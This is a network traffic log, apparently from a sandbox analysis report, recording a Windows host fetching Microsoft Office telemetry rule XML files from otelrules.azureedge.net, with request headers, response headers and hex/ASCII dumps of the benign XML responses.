2024-11-20 07:12:38 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071238Z-1777c6cb7544nvmshC1TEBf7qc00000008zg00000000gs41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49853	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:39 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95c96jn4hC1NYCbgp800000009sg00000000sce4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:39 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49852	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-1777c6cb754vxwc9hC1TEBykgw000000097g00000000b3c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49851	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95cdh56ghC1NYCk1x400000003sg000000006648 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49854	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95c96jn4hC1NYCbgp800000009wg000000009yr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:39 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49855	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95cwtv72hC1NYC141w00000009u000000000929n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49856	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95c95vpshC1NYC759c00000009v000000000e24k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49857	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:39 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071239Z-185f5d8b95c95vpshC1NYC759c00000009y00000000069t9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:40 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49858	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:39 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:40 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071240Z-1777c6cb754xjpthhC1TEBexs8000000094g0000000060f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:40 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49859	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:40 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:40 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071240Z-185f5d8b95cx9g8lhC1NYCtgvc000000023g00000000qq47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:40 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49860	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:40 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:40 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071240Z-1777c6cb754gc8g6hC1TEB966c00000009bg000000000670 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:40 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49861	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:40 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071240Z-1777c6cb754xlpjshC1TEBv8cc000000098g00000000pk4k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
